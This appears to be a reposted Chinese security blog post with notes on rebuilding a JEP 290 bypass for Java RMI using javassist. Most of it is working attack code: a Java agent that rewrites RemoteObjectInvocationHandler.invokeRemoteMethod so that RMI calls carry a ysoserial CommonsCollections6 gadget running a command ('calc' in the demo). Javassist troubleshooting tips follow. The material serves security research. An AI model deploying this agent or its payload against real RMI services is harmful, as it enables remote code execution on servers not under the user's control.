原文出自:https://www.anquanke.com/post/id/200860
笔者简单记录一下中途遇到的坑吧 简单记录不具参考,作者是使用asm框架来的。笔者不太会所以直接使用了javassist来写。
agent
package rasp;
import java.lang.instrument.Instrumentation;
public class agent {
public static void premain(String agentArgs, Instrumentation inst) {
System.out.println("first"+agentArgs);
inst.addTransformer(new Hook_RemoteMethod());
}
}
Hook_RemoteMethod
package rasp;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
public class Hook_RemoteMethod implements ClassFileTransformer{
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
if ("java/rmi/server/RemoteObjectInvocationHandler".equals(className)) {
try {
// 从ClassPool获得CtClass对象
final ClassPool classPool = ClassPool.getDefault();
final CtClass clazz = classPool.get("java.rmi.server.RemoteObjectInvocationHandler");
CtMethod convertToAbbr = clazz.getDeclaredMethod("invokeRemoteMethod");
String methodBody = "{System.out.println(\"this is invokemethod?\");\n" +
"Class aClass = Class.forName(\"ysoserial.payloads.CommonsCollections6\",true,ClassLoader.getSystemClassLoader());\n" +
"Object o = aClass.newInstance();\n" +
"Object getObject = aClass.getMethod(\"getObject\", new Class[]{String.class}).invoke(o, new Object[]{\"calc\"});\n" +
"java.lang.Object[] objects = new Object[1];\n" +
"objects[0]=getObject;\n" +
"return ref.invoke((java.rmi.Remote) $1, $2,objects,getMethodHash($2));}";
convertToAbbr.setBody(methodBody);
// 返回字节码,并且detachCtClass对象
byte[] byteCode = clazz.toBytecode();
//detach的意思是将内存中曾经被javassist加载过的对象移除,如果下次有需要在内存中找不到会重新走javassist加载
clazz.detach();
return byteCode;
} catch (Exception ex) {
ex.printStackTrace();
}
}
// 如果返回null则字节码不会被修改
return null;
// 如果返回null则字节码不会被修改
}
}
- Class.forName是需要指定ClassLoader的。不然为NULL
- [source error] no such class Method错误是需要制定全限定名称
- javassit是不支持可变参数传参 not found in java.lang.Class 异常 修改如下代码即可
getDeclaredMethod("defineClass",byte[].class,Integer.TYPE, Integer.TYPE);
修改如下:
getDeclaredMethod("defineClass", new Class[]{byte[].class,Integer.TYPE, Integer.TYPE});
invoke(ClassLoader.getSystemClassLoader(), classBytes,0,classBytes.length);
修改如下
invoke(ClassLoader.getSystemClassLoader(), new Object[]{classBytes,0,classBytes.length});
虽然报错也是没有任何问题的。把yso.jar添加依赖即可使用。
标签:java,jep290,Object,class,rasp,new,import,绕过,Class From: https://www.cnblogs.com/R0ser1/p/16757433.html